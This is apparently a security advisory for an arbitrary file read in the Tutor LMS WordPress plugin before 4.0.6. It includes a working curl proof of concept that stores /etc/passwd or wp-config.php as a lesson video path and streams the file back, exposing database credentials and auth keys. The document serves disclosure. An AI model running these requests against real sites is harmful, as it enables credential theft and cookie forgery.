Tutor LMS < 4.0.6 – Instructor+ Arbitrary File Read via Video Path | CVE 2026-19093

Description

The plugin does not validate a stored file path before using it to stream media, allowing users with the instructor role to read arbitrary files on the server, including files outside the web root.

The readable files include the WordPress configuration file, which exposes the database credentials and the authentication keys and salts, so authentication cookies can be forged.

Proof of Concept

Actor: a user holding the Tutor Instructor role (tutor_instructor). This role is not self-registerable: a front-end instructor application creates a Subscriber with a pending status, and an administrator must approve it before the role is granted.

Environment preparation (all normal admin/user actions):
1. As administrator: Tutor LMS > Settings > Course, enable "Course Marketplace".
2. As administrator: Tutor LMS > Instructors, approve the attacker's pending instructor application, or use "Add New Instructor". This grants the tutor_instructor role.
3. As the instructor: create a free course with one topic and one lesson in the Tutor course builder.
4. As the instructor: open the course page and click "Enroll now".

Step 1 - harvest the front-end nonce. It is printed into the _tutorobject JavaScript object on every front-end page and served to every visitor:

  curl -s -b inst.jar "https://victim.example/" | grep -oE '"_tutor_nonce":"[a-f0-9]+"'

Step 2 - store an absolute filesystem path as the lesson's video path. The lesson-save handler keeps attacker-supplied keys, so the path is written to the lesson's video meta verbatim:

  curl -s -b inst.jar "https://victim.example/wp-admin/admin-ajax.php" \
    --data-urlencode "action=tutor_save_lesson" \
    --data-urlencode "_tutor_nonce=NONCE_FROM_STEP_1" \
    --data-urlencode "topic_id=OWN_TOPIC_ID" \
    --data-urlencode "lesson_id=OWN_LESSON_ID" \
    --data-urlencode "title=Lesson 1" \
    --data-urlencode "video[source]=html5" \
    --data-urlencode "video[path]=/etc/passwd"

Step 3 - read the file back through the lesson video stream:

  curl -s -b inst.jar "https://victim.example/courses/COURSE-SLUG/lessons/LESSON-SLUG/?lesson_video=true"

Expected result: step 2 returns {"status_code":200,"message":"Lesson updated successfully"} and the lesson's video meta becomes {"source":"html5","path":"/etc/passwd"}. Step 3 returns HTTP 200 with the contents of /etc/passwd in the body. The output is HTML-entity-encoded on the way out, so run the body through an entity decoder to recover the file byte for byte.

Repeat step 2 with video[path] set to the install's wp-config.php (for example /var/www/html/wp-config.php) to retrieve the database credentials and the AUTH_KEY, SECURE_AUTH_KEY and LOGGED_IN_SALT constants.

The same read is reachable at https://victim.example/video-url/LESSON-SLUG/ .

The identical issue exists on courses: create a course through the course-create action with video[source]=html5 and video[path] set to the target file, then request https://victim.example/courses/COURSE-SLUG/?lesson_video=true